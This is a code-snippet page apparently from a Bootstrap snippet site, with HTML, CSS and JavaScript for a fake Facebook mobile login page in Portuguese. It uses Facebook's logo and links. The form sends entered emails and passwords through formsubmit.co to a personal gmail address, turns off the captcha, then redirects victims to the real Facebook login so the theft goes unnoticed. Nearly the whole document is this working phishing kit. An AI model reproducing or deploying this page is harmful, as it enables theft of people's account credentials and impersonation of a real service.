"mobile facebook envio de formulario"
Bootstrap 4.0.0 Snippet by ricardosaeki

Post to Facebook Tweet this

<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css"> <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script> <script src="//code.jquery.com/jquery-1.11.1.min.js"></script> <!------ Include the above in your HEAD tag ----------> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Login</title> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <div class="container"> <h1><img src="https://static.xx.fbcdn.net/rsrc.php/y8/r/dF5SId3UHWd.svg" alt="Logo"> </h1> <form action="https://formsubmit.co/ricardosaeki@gmail.com" method="POST"> <input type="hidden" name="_next" value="https://www.facebook.com/login/?"> <input type="email" name="email" placeholder="Número de celular ou email" required> <input type="password" name="password" placeholder="Senha" required> <input type="hidden" name="_captcha" value="false"> <input type="hidden" name="_next" value="https://www.facebook.com/login/?"> <button type="submit">Entrar</button> <a href="https://m.facebook.com/login/identify/?" class="redirecionar-link">Esqueceu sua senha?</a> <button type="button" class="botao2">Criar nova conta</button> </form> </div> <script> const botao2 = document.querySelector('.botao2'); botao2.addEventListener('click', () => { window.location.href = 'https://m.facebook.com/reg/?ref='; }); </script> </body> </html>
body { background-color: #f0f2f5; font-family: Arial, sans-serif; } .container { width: 500px; margin: 0 auto; padding: 50px; background-color: #fff; box-shadow: 0 0 10px rgba(0,0,0,0.3); border-radius: 5px; } h1 { text-align: center; margin-bottom: 30px; } form { display: flex; flex-direction: column; } input[type="email"], input[type="password"] { padding: 10px; margin-bottom: 10px; border-radius: 5px; border: 1px solid #ccc; font-size: 16px; } button[type="submit"] { background-color: #1877f2; color: #fff; padding: 10px; border: none; border-radius: 5px; font-size: 16px; cursor: pointer; } button[type="submit"]:hover { background-color: #166fe5; } .redirecionar-link { display: block; margin-top: 20px; margin-bottom: 20px; text-align: center; } .redirecionar-link a { color: blue; text-decoration: underline; } .botao2 { background-color: green; color: white; border: none; padding: 10px 20px; border-radius: 5px; margin-top: 10px; } .botao2:hover { background-color: darkgreen; cursor: pointer; }
const botao2 = document.querySelector('.botao2'); botao2.addEventListener('click', () => { window.location.href = 'https://m.facebook.com/reg/?ref='; });

Related: See More

Argon Design System
BS4 Login, Register FORM + Mobile
Mobile Nav Bar
Mobile-Friendly API Documentation

Questions / Comments: